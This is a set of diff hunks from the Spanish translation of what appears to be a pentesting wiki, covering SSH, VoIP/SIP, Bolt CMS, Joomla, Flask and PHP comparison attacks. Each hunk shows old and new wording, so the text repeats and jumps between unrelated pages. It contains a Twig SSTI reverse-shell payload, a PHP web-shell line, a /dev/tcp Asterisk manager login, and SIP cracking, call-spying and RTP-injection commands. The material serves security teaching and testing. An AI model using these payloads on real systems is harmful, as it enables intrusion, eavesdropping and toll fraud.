4. Si se conecta con éxito a un destino, repite los pasos #1 - #4 en el sistema al que se conectó.
|
||||
|
||||
Es completamente auto-replicante y auto-propagante -- y completamente sin archivos.
|
||||
Es completamente autorreplicante y autopropagante, y completamente sin archivos.
|
||||
|
||||
## Errores de configuración
|
||||
## Configuraciones incorrectas
|
||||
|
||||
### Inicio de sesión como root
|
||||
|
||||
@ -232,9 +232,9 @@ PermitTunnel no
|
||||
X11Forwarding no
|
||||
PermitTTY no
|
||||
```
|
||||
Esta configuración permitirá solo SFTP: deshabilitando el acceso a la shell al forzar el comando de inicio y deshabilitando el acceso TTY, pero también deshabilitando todo tipo de reenvío de puertos o túneles.
|
||||
Esta configuración permitirá solo SFTP: deshabilitando el acceso a la shell al forzar el comando de inicio y deshabilitando el acceso TTY, pero también deshabilitando todo tipo de reenvío de puertos o tunelización.
|
||||
|
||||
### Túnel SFTP
|
||||
### SFTP Tunneling
|
||||
|
||||
Si tienes acceso a un servidor SFTP, también puedes tunelizar tu tráfico a través de esto, por ejemplo, utilizando el reenvío de puertos común:
|
||||
```bash
|
||||
@ -252,7 +252,7 @@ Si puedes acceder al archivo "_froot_" a través de la web, podrás listar la ca
|
||||
|
||||
### Métodos de autenticación
|
||||
|
||||
En entornos de alta seguridad, es una práctica común habilitar solo la autenticación basada en claves o la autenticación de dos factores en lugar de la simple autenticación basada en contraseña. Pero a menudo, los métodos de autenticación más fuertes se habilitan sin deshabilitar los más débiles. Un caso frecuente es habilitar `publickey` en la configuración de openSSH y establecerlo como el método predeterminado, pero no deshabilitar `password`. Así que, al usar el modo verbose del cliente SSH, un atacante puede ver que un método más débil está habilitado:
|
||||
En entornos de alta seguridad, es una práctica común habilitar solo la autenticación basada en claves o la autenticación de dos factores en lugar de la simple autenticación basada en contraseña. Pero a menudo, los métodos de autenticación más fuertes se habilitan sin deshabilitar los más débiles. Un caso frecuente es habilitar `publickey` en la configuración de openSSH y establecerlo como el método predeterminado, pero no deshabilitar `password`. Así que, utilizando el modo verbose del cliente SSH, un atacante puede ver que un método más débil está habilitado:
|
||||
```bash
|
||||
ssh -v 192.168.1.94
|
||||
OpenSSH_8.1p1, OpenSSL 1.1.1d 10 Sep 2019
|
||||
|
||||
@ -131,7 +131,7 @@ OPTIONS Query the capabilities of an endpoint RFC 3261
|
||||
|
||||
### Números de Teléfono
|
||||
|
||||
Uno de los primeros pasos que podría hacer un Red Team es buscar números de teléfono disponibles para contactar con la empresa utilizando herramientas OSINT, búsquedas en Google o raspando las páginas web.
|
||||
Uno de los primeros pasos que un Red Team podría hacer es buscar números de teléfono disponibles para contactar con la empresa utilizando herramientas OSINT, búsquedas en Google o raspando las páginas web.
|
||||
|
||||
Una vez que tengas los números de teléfono, podrías usar servicios en línea para identificar al operador:
|
||||
|
||||
@ -239,13 +239,13 @@ sippts wssend -i 10.10.0.10 -r 443 -path /ws
|
||||
```
|
||||
### Enumeración de Extensiones
|
||||
|
||||
Las extensiones en un sistema PBX (Central Telefónica Privada) se refieren a los **identificadores internos únicos asignados a líneas** telefónicas, dispositivos o usuarios individuales dentro de una organización o negocio. Las extensiones hacen posible **rutar llamadas dentro de la organización de manera eficiente**, sin la necesidad de números de teléfono externos individuales para cada usuario o dispositivo.
|
||||
Las extensiones en un sistema PBX (Central Privada de Conmutación) se refieren a los **identificadores internos únicos asignados a líneas** telefónicas, dispositivos o usuarios individuales dentro de una organización o negocio. Las extensiones hacen posible **rutar llamadas dentro de la organización de manera eficiente**, sin la necesidad de números de teléfono externos individuales para cada usuario o dispositivo.
|
||||
|
||||
- **`svwar`** de SIPVicious (`sudo apt install sipvicious`): `svwar` es un escáner de líneas de extensión SIP PBX gratuito. En concepto, funciona de manera similar a los marcadores tradicionales al **adivinar un rango de extensiones o una lista dada de extensiones**.
|
||||
```bash
|
||||
svwar 10.10.0.10 -p5060 -e100-300 -m REGISTER
|
||||
```
|
||||
- **`SIPPTS exten`** de [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS exten identifica extensiones en un servidor SIP. Sipexten puede verificar grandes rangos de red y puertos.
|
||||
- **`SIPPTS exten`** from [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS exten identifica extensiones en un servidor SIP. Sipexten puede verificar grandes rangos de red y puertos.
|
||||
```bash
|
||||
sippts exten -i 10.10.0.10 -r 5060 -e 100-200
|
||||
```
|
||||
@ -263,7 +263,7 @@ enumiax -v -m3 -M3 10.10.0.10
|
||||
|
||||
### Fuerza Bruta de Contraseña - en línea
|
||||
|
||||
Habiendo descubierto el **PBX** y algunos **números de extensión/nombres de usuario**, un Red Team podría intentar **autenticarse a través del método `REGISTER`** a una extensión utilizando un diccionario de contraseñas comunes para realizar un ataque de fuerza bruta a la autenticación.
|
||||
Habiendo descubierto el **PBX** y algunos **números de extensión/nombres de usuario**, un Red Team podría intentar **autenticarse a través del método `REGISTER`** en una extensión utilizando un diccionario de contraseñas comunes para realizar un ataque de fuerza bruta a la autenticación.
|
||||
|
||||
> [!CAUTION]
|
||||
> Tenga en cuenta que un **nombre de usuario** puede ser el mismo que la extensión, pero esta práctica puede variar según el sistema PBX, su configuración y las preferencias de la organización...
|
||||
@ -275,7 +275,7 @@ Habiendo descubierto el **PBX** y algunos **números de extensión/nombres de us
|
||||
svcrack -u100 -d dictionary.txt udp://10.0.0.1:5080 #Crack known username
|
||||
svcrack -u100 -r1-9999 -z4 10.0.0.1 #Check username in extensions
|
||||
```
|
||||
- **`SIPPTS rcrack`** de [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS rcrack es un cracker de contraseñas remoto para servicios SIP. Rcrack puede probar contraseñas para varios usuarios en diferentes IPs y rangos de puertos.
|
||||
- **`SIPPTS rcrack`** from [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS rcrack es un cracker de contraseñas remoto para servicios SIP. Rcrack puede probar contraseñas para varios usuarios en diferentes IPs y rangos de puertos.
|
||||
```bash
|
||||
sippts rcrack -i 10.10.0.10 -e 100,101,103-105 -w wordlist/rockyou.txt
|
||||
```
|
||||
@ -285,7 +285,7 @@ sippts rcrack -i 10.10.0.10 -e 100,101,103-105 -w wordlist/rockyou.txt
|
||||
|
||||
### VoIP Sniffing
|
||||
|
||||
Si encuentras equipos de VoIP dentro de una **red Wifi abierta**, podrías **esnifar toda la información**. Además, si estás dentro de una red más cerrada (conectada por Ethernet o Wifi protegido) podrías realizar **ataques MitM como** [**ARPspoofing**](../../generic-methodologies-and-resources/pentesting-network/#arp-spoofing) entre el **PBX y la puerta de enlace** para esnifar la información.
|
||||
Si encuentras equipos de VoIP dentro de una **red Wifi abierta**, podrías **esnifar toda la información**. Además, si estás dentro de una red más cerrada (conectada por Ethernet o Wifi protegido) podrías realizar **ataques MitM como** [**ARPspoofing**](../../generic-methodologies-and-resources/pentesting-network/index.html#arp-spoofing) entre el **PBX y la puerta de enlace** para esnifar la información.
|
||||
|
||||
Entre la información de la red, podrías encontrar **credenciales web** para gestionar el equipo, **extensiones** de usuario, **nombre de usuario**, direcciones **IP**, incluso **contraseñas hash** y **paquetes RTP** que podrías reproducir para **escuchar la conversación**, y más.
|
||||
|
||||
@ -304,15 +304,15 @@ Para obtener esta información podrías usar herramientas como Wireshark, tcpdum
|
||||
sipdump -p net-capture.pcap sip-creds.txt
|
||||
sipcrack sip-creds.txt -w dict.txt
|
||||
```
|
||||
- **`SIPPTS dump`** de [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS dump puede extraer autenticaciones digest de un archivo pcap.
|
||||
- **`SIPPTS dump`** from [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS dump puede extraer autenticaciones digest de un archivo pcap.
|
||||
```bash
|
||||
sippts dump -f capture.pcap -o data.txt
|
||||
```
|
||||
- **`SIPPTS dcrack`** de [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS dcrack es una herramienta para descifrar las autenticaciones digest obtenidas con el volcado de SIPPTS.
|
||||
- **`SIPPTS dcrack`** from [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS dcrack es una herramienta para descifrar las autenticaciones digest obtenidas con el volcado de SIPPTS.
|
||||
```bash
|
||||
sippts dcrack -f data.txt -w wordlist/rockyou.txt
|
||||
```
|
||||
- **`SIPPTS tshark`** de [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS tshark extrae datos del protocolo SIP de un archivo PCAP.
|
||||
- **`SIPPTS tshark`** from [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS tshark extrae datos del protocolo SIP de un archivo PCAP.
|
||||
```bash
|
||||
sippts tshark -f capture.pcap [-filter auth]
|
||||
```
|
||||
@ -323,7 +323,7 @@ Es posible enviar estos códigos en **mensajes SIP INFO**, en **audio** o dentro
|
||||
```bash
|
||||
multimon -a DTMF -t wac pin.wav
|
||||
```
|
||||
### Llamadas Gratis / Configuraciones Incorrectas de Conexiones Asterisks
|
||||
### Llamadas Gratis / Configuraciones Incorrectas de Conexiones Asterisk
|
||||
|
||||
En Asterisk es posible permitir una conexión **desde una dirección IP específica** o desde **cualquier dirección IP**:
|
||||
```
|
||||
@ -352,7 +352,7 @@ También es posible establecer confianza con la variable insegura:
|
||||
> `insecure=port,invite`\
|
||||
> `type=friend`
|
||||
|
||||
### Llamadas Gratuitas / Configuraciones Incorrectas del Contexto de Asterisco
|
||||
### Llamadas Gratuitas / Configuraciones Incorrectas de Contexto en Asterisk
|
||||
|
||||
En Asterisk, un **contexto** es un contenedor o sección nombrada en el plan de marcado que **agrupa extensiones, acciones y reglas relacionadas**. El plan de marcado es el componente central de un sistema Asterisk, ya que define **cómo se manejan y enrutan las llamadas entrantes y salientes**. Los contextos se utilizan para organizar el plan de marcado, gestionar el control de acceso y proporcionar separación entre diferentes partes del sistema.
|
||||
|
||||
@ -386,7 +386,7 @@ include => external
|
||||
> [!CAUTION]
|
||||
> Además, por defecto el archivo **`sip.conf`** contiene **`allowguest=true`**, entonces **cualquier** atacante sin **autenticación** podrá llamar a cualquier otro número.
|
||||
|
||||
- **`SIPPTS invite`** de [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS invite verifica si un **servidor PBX nos permite hacer llamadas sin autenticación**. Si el servidor SIP tiene una configuración incorrecta, nos permitirá hacer llamadas a números externos. También puede permitirnos transferir la llamada a un segundo número externo.
|
||||
- **`SIPPTS invite`** from [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS invite verifica si un **servidor PBX nos permite hacer llamadas sin autenticación**. Si el servidor SIP tiene una configuración incorrecta, nos permitirá hacer llamadas a números externos. También puede permitirnos transferir la llamada a un segundo número externo.
|
||||
|
||||
Por ejemplo, si tu servidor Asterisk tiene una mala configuración de contexto, puedes aceptar solicitudes INVITE sin autorización. En este caso, un atacante puede hacer llamadas sin conocer ningún usuario/contraseña.
|
||||
```bash
|
||||
@ -398,17 +398,17 @@ sippts invite -i 10.10.0.10 -tu 555555555 -t 444444444
|
||||
```
|
||||
### Llamadas gratuitas / IVRS mal configurados
|
||||
|
||||
IVRS significa **Sistema de Respuesta de Voz Interactiva**, una tecnología de telefonía que permite a los usuarios interactuar con un sistema computarizado a través de entradas de voz o tonos de marcación. IVRS se utiliza para construir sistemas de **manejo de llamadas automatizado** que ofrecen una variedad de funcionalidades, como proporcionar información, enrutar llamadas y capturar entradas de usuarios.
|
||||
IVRS significa **Sistema de Respuesta de Voz Interactiva**, una tecnología de telefonía que permite a los usuarios interactuar con un sistema computarizado a través de entradas de voz o tonos de marcado. IVRS se utiliza para construir sistemas de **manejo de llamadas automatizado** que ofrecen una variedad de funcionalidades, como proporcionar información, enrutar llamadas y capturar entradas de usuarios.
|
||||
|
||||
IVRS en sistemas VoIP típicamente consiste en:
|
||||
|
||||
1. **Indicaciones de voz**: Mensajes de audio pregrabados que guían a los usuarios a través de las opciones del menú IVR e instrucciones.
|
||||
2. **DTMF** (Dual-Tone Multi-Frequency) señalización: Entradas de tonos generadas al presionar teclas en el teléfono, que se utilizan para navegar a través de los menús IVR y proporcionar entradas.
|
||||
3. **Enrutamiento de llamadas**: Dirigir llamadas al destino apropiado, como departamentos específicos, agentes o extensiones basadas en la entrada del usuario.
|
||||
4. **Captura de entrada del usuario**: Recopilar información de los llamantes, como números de cuenta, ID de casos o cualquier otro dato relevante.
|
||||
2. **DTMF** (Dual-Tone Multi-Frequency) señalización: Entradas de tonos de marcado generadas al presionar teclas en el teléfono, que se utilizan para navegar a través de los menús IVR y proporcionar entradas.
|
||||
3. **Enrutamiento de llamadas**: Dirigir llamadas al destino apropiado, como departamentos específicos, agentes o extensiones según la entrada del usuario.
|
||||
4. **Captura de entradas de usuario**: Recopilar información de los llamantes, como números de cuenta, IDs de caso o cualquier otro dato relevante.
|
||||
5. **Integración con sistemas externos**: Conectar el sistema IVR a bases de datos u otros sistemas de software para acceder o actualizar información, realizar acciones o activar eventos.
|
||||
|
||||
En un sistema VoIP Asterisk, puedes crear un IVR utilizando el plan de marcación (**`extensions.conf`** archivo) y varias aplicaciones como `Background()`, `Playback()`, `Read()`, y más. Estas aplicaciones te ayudan a reproducir indicaciones de voz, capturar entradas de usuarios y controlar el flujo de llamadas.
|
||||
En un sistema VoIP Asterisk, puedes crear un IVR utilizando el plan de marcado (**`extensions.conf`** archivo) y varias aplicaciones como `Background()`, `Playback()`, `Read()`, y más. Estas aplicaciones te ayudan a reproducir indicaciones de voz, capturar entradas de usuario y controlar el flujo de llamadas.
|
||||
|
||||
#### Ejemplo de configuración vulnerable
|
||||
```scss
|
||||
@ -419,7 +419,7 @@ exten => 0,103,GotoIf("$[${numbers}"=""]?100)
|
||||
exten => 0,104,Dial(LOCAL/${numbers})
|
||||
```
|
||||
El anterior es un ejemplo donde se le pide al usuario que **presione 1 para llamar** a un departamento, **2 para llamar** a otro, o **la extensión completa** si la conoce.\
|
||||
La vulnerabilidad es el hecho de que la **longitud de la extensión indicada no se verifica, por lo que un usuario podría ingresar el tiempo de espera de 5 segundos un número completo y se llamará.**
|
||||
La vulnerabilidad es el hecho de que la **longitud de la extensión indicada no se verifica, por lo que un usuario podría ingresar el tiempo de espera de 5 segundos como un número completo y se llamará.**
|
||||
|
||||
### Inyección de Extensión
|
||||
|
||||
@ -427,7 +427,7 @@ Usando una extensión como:
|
||||
```scss
|
||||
exten => _X.,1,Dial(SIP/${EXTEN})
|
||||
```
|
||||
Donde **`${EXTEN}`** es la **extensión** que se llamará, cuando se **introduzca la ext 101** esto es lo que sucederá:
|
||||
Donde **`${EXTEN}`** es la **extensión** que será llamada, cuando se **introduce la ext 101** esto es lo que sucedería:
|
||||
```scss
|
||||
exten => 101,1,Dial(SIP/101)
|
||||
```
|
||||
@ -444,7 +444,7 @@ La vulnerabilidad SIP Digest Leak es una vulnerabilidad que afecta a un gran nú
|
||||
**[Escenario de vulnerabilidad desde aquí**](https://resources.enablesecurity.com/resources/sipdigestleak-tut.pdf):
|
||||
|
||||
1. Un teléfono IP (víctima) está escuchando en cualquier puerto (por ejemplo: 5060), aceptando llamadas telefónicas
|
||||
2. El atacante envía una INVITE al teléfono IP
|
||||
2. El atacante envía un INVITE al teléfono IP
|
||||
3. El teléfono de la víctima comienza a sonar y alguien contesta y cuelga (porque nadie responde el teléfono en el otro extremo)
|
||||
4. Cuando se cuelga el teléfono, el **teléfono de la víctima envía un BYE al atacante**
|
||||
5. El **atacante emite una respuesta 407** que **pide autenticación** y emite un desafío de autenticación
|
||||
@ -500,7 +500,7 @@ exec 3<>/dev/tcp/10.10.10.10/5038 && echo -e "Action: Login\nUsername:test\nSecr
|
||||
|
||||
En Asterisk es posible usar el comando **`ChanSpy`** indicando la(s) **extensión(es) a monitorear** (o todas ellas) para escuchar las conversaciones que están ocurriendo. Este comando debe ser asignado a una extensión.
|
||||
|
||||
Por ejemplo, **`exten => 333,1,ChanSpy('all',qb)`** indica que si **llamas** a la **extensión 333**, **monitoreará** **`todas`** las extensiones, **comenzará a escuchar** cada vez que inicie una nueva conversación (**`b`**) en modo silencioso (**`q`**) ya que no queremos interactuar en ella. Podrías pasar de una conversación a otra presionando **`*`**, o marcando el número de extensión.
|
||||
Por ejemplo, **`exten => 333,1,ChanSpy('all',qb)`** indica que si **llamas** a la **extensión 333**, se **monitorearán** **`todas`** las extensiones, **comenzando a escuchar** cada vez que inicie una nueva conversación (**`b`**) en modo silencioso (**`q`**) ya que no queremos interactuar en ello. Podrías pasar de una conversación a otra presionando **`*`**, o marcando el número de extensión.
|
||||
|
||||
También es posible usar **`ExtenSpy`** para monitorear solo una extensión.
|
||||
|
||||
@ -524,7 +524,7 @@ Los proxies RTP intentan abordar las **limitaciones de NAT** que afectan a los s
|
||||
|
||||
Otro comportamiento interesante de los proxies RTP y las pilas RTP es que a veces, **incluso si no son vulnerables a RTP Bleed**, **aceptarán, reenviarán y/o procesarán paquetes RTP de cualquier fuente**. Por lo tanto, los atacantes pueden enviar paquetes RTP que pueden permitirles inyectar su medio en lugar del legítimo. Llamamos a este ataque inyección RTP porque permite la inyección de paquetes RTP ilegítimos en flujos RTP existentes. Esta vulnerabilidad puede encontrarse tanto en proxies RTP como en puntos finales.
|
||||
|
||||
Asterisk y FreePBX han utilizado tradicionalmente la **configuración `NAT=yes`**, que permite que el tráfico RTP eluda la autenticación, lo que puede llevar a que no haya audio o a audio unidireccional en las llamadas.
|
||||
Asterisk y FreePBX han utilizado tradicionalmente la **configuración `NAT=yes`**, que permite que el tráfico RTP eluda la autenticación, lo que puede llevar a que no haya audio o audio unidireccional en las llamadas.
|
||||
|
||||
Para más información, consulta [https://www.rtpbleed.com/](https://www.rtpbleed.com/)
|
||||
|
||||
@ -540,7 +540,7 @@ sippts rtcpbleed -i 10.10.0.10
|
||||
```bash
|
||||
sippts rtpbleedflood -i 10.10.0.10 -p 10070 -v
|
||||
```
|
||||
- **`SIPPTS rtpbleedinject`** de [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS rtpbleedinject explota la vulnerabilidad RTP Bleed inyectando un archivo de audio (formato WAV).
|
||||
- **`SIPPTS rtpbleedinject`** from [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS rtpbleedinject explota la vulnerabilidad RTP Bleed inyectando un archivo de audio (formato WAV).
|
||||
```bash
|
||||
sippts rtpbleedinject -i 10.10.0.10 -p 10070 -f audio.wav
|
||||
```
|
||||
@ -567,7 +567,7 @@ Hay un comando llamado **`Shell`** que podría usarse **en lugar de `System`** p
|
||||
- esto podría usarse para crear un nuevo usuario mysql como puerta trasera.
|
||||
- **`Elastix`**
|
||||
- **`Elastix.conf`** -> Contiene varias contraseñas en texto claro como la contraseña de root de mysql, la contraseña de IMAPd, la contraseña del administrador web.
|
||||
- **Varios folders** pertenecerán al usuario asterisk comprometido (si no se ejecuta como root). Este usuario puede leer los archivos anteriores y también controla la configuración, por lo que podría hacer que Asterisk cargue otros binarios con puerta trasera cuando se ejecuten.
|
||||
- **Varios folders** pertenecerán al usuario asterisk comprometido (si no se está ejecutando como root). Este usuario puede leer los archivos anteriores y también controla la configuración, por lo que podría hacer que Asterisk cargue otros binarios con puerta trasera al ejecutarse.
|
||||
|
||||
### Inyección RTP
|
||||
|
||||
|
||||
@ -4,7 +4,7 @@
|
||||
|
||||
## RCE
|
||||
|
||||
Después de iniciar sesión como admin (ve a /bot para acceder al aviso de inicio de sesión), puedes obtener RCE en Bolt CMS:
|
||||
Después de iniciar sesión como administrador (ve a /bot para acceder al aviso de inicio de sesión), puedes obtener RCE en Bolt CMS:
|
||||
|
||||
- Selecciona `Configuration` -> `View Configuration` -> `Main Configuration` o ve a la ruta de URL `/bolt/file-edit/config?file=/bolt/config.yaml`
|
||||
- Verifica el valor del tema
|
||||
@ -14,7 +14,7 @@ Después de iniciar sesión como admin (ve a /bot para acceder al aviso de inici
|
||||
- Selecciona `File management` -> `View & edit templates`
|
||||
- Selecciona la base del tema encontrada en el paso anterior (`base-2021` en este caso) y selecciona `index.twig`
|
||||
- En mi caso, esto está en la ruta de URL /bolt/file-edit/themes?file=/base-2021/index.twig
|
||||
- Establece tu payload en este archivo a través de [template injection (Twig)](../../pentesting-web/ssti-server-side-template-injection/#twig-php), como: `{{['bash -c "bash -i >& /dev/tcp/10.10.14.14/4444 0>&1"']|filter('system')}}`
|
||||
- Establece tu payload en este archivo a través de [template injection (Twig)](../../pentesting-web/ssti-server-side-template-injection/index.html#twig-php), como: `{{['bash -c "bash -i >& /dev/tcp/10.10.14.14/4444 0>&1"']|filter('system')}}`
|
||||
- Y guarda los cambios
|
||||
|
||||
<figure><img src="../../images/image (948).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
@ -22,7 +22,7 @@ La cookie también está firmada usando una contraseña
|
||||
|
||||
### **Flask-Unsign**
|
||||
|
||||
Herramienta de línea de comandos para obtener, decodificar, forzar por fuerza bruta y crear cookies de sesión de una aplicación Flask adivinando claves secretas.
|
||||
Herramienta de línea de comandos para obtener, decodificar, forzar y crear cookies de sesión de una aplicación Flask adivinando claves secretas.
|
||||
|
||||
{{#ref}}
|
||||
https://pypi.org/project/flask-unsign/
|
||||
@ -58,7 +58,7 @@ ripsession -u 10.10.11.100 -c "{'logged_in': True, 'username': 'changeMe'}" -s p
|
||||
```
|
||||
### SQLi en la cookie de sesión de Flask con SQLmap
|
||||
|
||||
[**Este ejemplo**](../../pentesting-web/sql-injection/sqlmap/#eval) utiliza la opción `eval` de sqlmap para **firmar automáticamente las cargas útiles de sqlmap** para Flask usando un secreto conocido.
|
||||
[**Este ejemplo**](../../pentesting-web/sql-injection/sqlmap/index.html#eval) utiliza la opción `eval` de sqlmap para **firmar automáticamente las cargas útiles de sqlmap** para Flask utilizando un secreto conocido.
|
||||
|
||||
## Proxy de Flask a SSRF
|
||||
|
||||
@ -68,7 +68,7 @@ GET @/ HTTP/1.1
|
||||
Host: target.com
|
||||
Connection: close
|
||||
```
|
||||
¿Cuál en el siguiente escenario:
|
||||
En el siguiente escenario:
|
||||
```python
|
||||
from flask import Flask
|
||||
from requests import get
|
||||
|
||||
@ -5,7 +5,7 @@
|
||||
|
||||
### Estadísticas de Joomla
|
||||
|
||||
Joomla recopila algunas [estadísticas de uso](https://developer.joomla.org/about/stats.html) anónimas, como la distribución de versiones de Joomla, PHP y bases de datos, así como los sistemas operativos de servidor en uso en las instalaciones de Joomla. Estos datos se pueden consultar a través de su [API](https://developer.joomla.org/about/stats/api.html) pública.
|
||||
Joomla recopila algunas [estadísticas de uso](https://developer.joomla.org/about/stats.html) anónimas, como la distribución de las versiones de Joomla, PHP y bases de datos, así como los sistemas operativos de servidor en uso en las instalaciones de Joomla. Estos datos se pueden consultar a través de su [API](https://developer.joomla.org/about/stats/api.html) pública.
|
||||
```bash
|
||||
curl -s https://developer.joomla.org/stats/cms_version | python3 -m json.tool
|
||||
|
||||
@ -71,7 +71,7 @@ curl https://www.joomla.org/ | grep Joomla | grep generator
|
||||
```bash
|
||||
droopescan scan joomla --url http://joomla-site.local/
|
||||
```
|
||||
En[ **80,443 - La metodología de pentesting web es una sección sobre escáneres de CMS**](./#cms-scanners) que pueden escanear Joomla.
|
||||
En[ **80,443 - La metodología de pentesting web es una sección sobre escáneres de CMS**](#cms-scanners) que pueden escanear Joomla.
|
||||
|
||||
### Divulgación de Información No Autenticada:
|
||||
|
||||
@ -95,8 +95,8 @@ admin:admin
|
||||
Si lograste obtener **credenciales de administrador**, puedes **RCE dentro de él** agregando un fragmento de **código PHP** para obtener **RCE**. Podemos hacer esto **personalizando** una **plantilla**.
|
||||
|
||||
1. **Haz clic** en **`Templates`** en la parte inferior izquierda bajo `Configuration` para abrir el menú de plantillas.
|
||||
2. **Haz clic** en el nombre de una **plantilla**. Elijamos **`protostar`** bajo el encabezado de columna `Template`. Esto nos llevará a la página **`Templates: Customise`**.
|
||||
3. Finalmente, puedes hacer clic en una página para abrir el **código fuente**. Elijamos la página **`error.php`**. Agregaremos una **línea de código PHP para obtener ejecución de código** de la siguiente manera:
|
||||
2. **Haz clic** en un nombre de **plantilla**. Elijamos **`protostar`** bajo el encabezado de columna `Template`. Esto nos llevará a la página **`Templates: Customise`**.
|
||||
3. Finalmente, puedes hacer clic en una página para abrir el **código fuente** de la página. Elijamos la página **`error.php`**. Agregaremos un **PHP one-liner para obtener ejecución de código** de la siguiente manera:
|
||||
1. **`system($_GET['cmd']);`**
|
||||
4. **Guardar y cerrar**
|
||||
5. `curl -s http://joomla-site.local/templates/protostar/error.php?cmd=id`
|
||||
@ -104,7 +104,7 @@ Si lograste obtener **credenciales de administrador**, puedes **RCE dentro de é
|
||||
## From XSS to RCE
|
||||
|
||||
- [**JoomSploit**](https://github.com/nowak0x01/JoomSploit): Script de explotación de Joomla que **eleva XSS a RCE u otras vulnerabilidades críticas**. Para más información, consulta [**esta publicación**](https://nowak0x01.github.io/papers/76bc0832a8f682a7e0ed921627f85d1d.html). Proporciona **soporte para las versiones de Joomla 5.X.X, 4.X.X y 3.X.X, y permite:**
|
||||
- _**Escalamiento de privilegios:**_ Crea un usuario en Joomla.
|
||||
- _**Escalación de privilegios:**_ Crea un usuario en Joomla.
|
||||
- _**(RCE) Edición de plantillas integradas:**_ Edita plantillas integradas en Joomla.
|
||||
- _**(Personalizado) Explotaciones personalizadas:**_ Explotaciones personalizadas para complementos de Joomla de terceros.
|
||||
|
||||
|
||||
@ -19,11 +19,11 @@ Ubicaciones:
|
||||
/tmp/
|
||||
Example: ../../../../../../tmp/sess_d1d531db62523df80e1153ada1d4b02e
|
||||
```
|
||||
## Bypassando comparaciones PHP
|
||||
## Bypass de comparaciones PHP
|
||||
|
||||
### Comparaciones sueltas/Juggling de tipos ( == )
|
||||
|
||||
Si se usa `==` en PHP, hay casos inesperados donde la comparación no se comporta como se espera. Esto se debe a que "==" solo compara valores transformados al mismo tipo, si también quieres comparar que el tipo de los datos comparados sea el mismo, necesitas usar `===`.
|
||||
Si se utiliza `==` en PHP, hay casos inesperados donde la comparación no se comporta como se espera. Esto se debe a que "==" solo compara valores transformados al mismo tipo; si también deseas comparar que el tipo de los datos comparados sea el mismo, necesitas usar `===`.
|
||||
|
||||
Tablas de comparación de PHP: [https://www.php.net/manual/en/types.comparisons.php](https://www.php.net/manual/en/types.comparisons.php)
|
||||
|
||||
@ -32,13 +32,13 @@ Tablas de comparación de PHP: [https://www.php.net/manual/en/types.comparisons.
|
||||
{% file src="../../../images/EN-PHP-loose-comparison-Type-Juggling-OWASP (1).pdf" %}
|
||||
|
||||
- `"string" == 0 -> True` Una cadena que no comienza con un número es igual a un número
|
||||
- `"0xAAAA" == "43690" -> True` Cadenas compuestas por números en formato dec o hex pueden ser comparadas con otros números/cadenas con True como resultado si los números son los mismos (números en una cadena se interpretan como números)
|
||||
- `"0xAAAA" == "43690" -> True` Cadenas compuestas por números en formato decimal o hexadecimal pueden compararse con otros números/cadenas con True como resultado si los números son los mismos (los números en una cadena se interpretan como números)
|
||||
- `"0e3264578" == 0 --> True` Una cadena que comienza con "0e" y seguida de cualquier cosa será igual a 0
|
||||
- `"0X3264578" == 0X --> True` Una cadena que comienza con "0" y seguida de cualquier letra (X puede ser cualquier letra) y seguida de cualquier cosa será igual a 0
|
||||
- `"0e12334" == "0" --> True` Esto es muy interesante porque en algunos casos puedes controlar la entrada de la cadena de "0" y algún contenido que se está hasheando y comparando con ella. Por lo tanto, si puedes proporcionar un valor que cree un hash que comience con "0e" y sin ninguna letra, podrías eludir la comparación. Puedes encontrar **cadenas ya hasheadas** con este formato aquí: [https://github.com/spaze/hashes](https://github.com/spaze/hashes)
|
||||
- `"X" == 0 --> True` Cualquier letra en una cadena es igual a int 0
|
||||
|
||||
Más info en [https://medium.com/swlh/php-type-juggling-vulnerabilities-3e28c4ed5c09](https://medium.com/swlh/php-type-juggling-vulnerabilities-3e28c4ed5c09)
|
||||
Más información en [https://medium.com/swlh/php-type-juggling-vulnerabilities-3e28c4ed5c09](https://medium.com/swlh/php-type-juggling-vulnerabilities-3e28c4ed5c09)
|
||||
|
||||
### **in_array()**
|
||||
|
||||
@ -63,7 +63,7 @@ El mismo error ocurre con `strcasecmp()`
|
||||
|
||||
### Conversión de tipos estricta
|
||||
|
||||
Incluso si `===` **se está utilizando**, podría haber errores que hacen que la **comparación sea vulnerable** a la **conversión de tipos**. Por ejemplo, si la comparación **convierte los datos a un tipo diferente de objeto antes de comparar**:
|
||||
Incluso si se está utilizando `===`, podría haber errores que hacen que la comparación sea vulnerable a la conversión de tipos. Por ejemplo, si la comparación está **convirtiendo los datos a un tipo diferente de objeto antes de comparar**:
|
||||
```php
|
||||
(int) "1abc" === (int) "1xyz" //This will be true
|
||||
```
|
||||
@ -73,7 +73,7 @@ Incluso si `===` **se está utilizando**, podría haber errores que hacen que la
|
||||
|
||||
#### Bypass de nueva línea
|
||||
|
||||
Sin embargo, al delimitar el inicio de la regexp, `preg_match()` **solo verifica la primera línea de la entrada del usuario**, entonces, si de alguna manera puedes **enviar** la entrada en **varias líneas**, podrías ser capaz de eludir esta verificación. Ejemplo:
|
||||
Sin embargo, al delimitar el inicio de la regexp, `preg_match()` **solo verifica la primera línea de la entrada del usuario**, por lo que si de alguna manera puedes **enviar** la entrada en **varias líneas**, podrías ser capaz de eludir esta verificación. Ejemplo:
|
||||
```php
|
||||
$myinput="aaaaaaa
|
||||
11111111"; //Notice the new line
|
||||
@ -97,7 +97,7 @@ Encuentra un ejemplo aquí: [https://ramadistra.dev/fbctf-2019-rceservice](https
|
||||
#### **Bypass de error de longitud**
|
||||
|
||||
(Este bypass se intentó aparentemente en PHP 5.2.5 y no pude hacerlo funcionar en PHP 7.3.15)\
|
||||
